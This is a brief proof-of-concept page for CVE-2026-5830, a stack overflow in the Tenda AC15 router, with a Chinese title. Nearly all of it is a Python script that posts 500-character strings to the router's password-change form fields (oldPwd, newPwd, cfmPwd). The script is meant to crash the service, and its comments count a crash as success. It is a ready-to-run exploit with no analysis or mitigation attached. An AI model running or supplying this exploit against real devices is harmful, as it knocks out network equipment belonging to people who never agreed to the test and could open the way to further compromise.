CVE-2026-5830 Tenda AC15 栈溢出漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/SysToolChangePwd" # Malicious payload to trigger stack overflow # Length depends on the specific buffer size, typical overflow size > 100 bytes payload = "A" * 500 data = { "oldPwd": payload, "newPwd": payload, "cfmPwd": payload } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, data=data) print(f"Request sent, status code: {response.status_code}") # If the service crashes or becomes unresponsive, the exploit is likely successful except Exception as e: print(f"An error occurred (possible crash): {e}")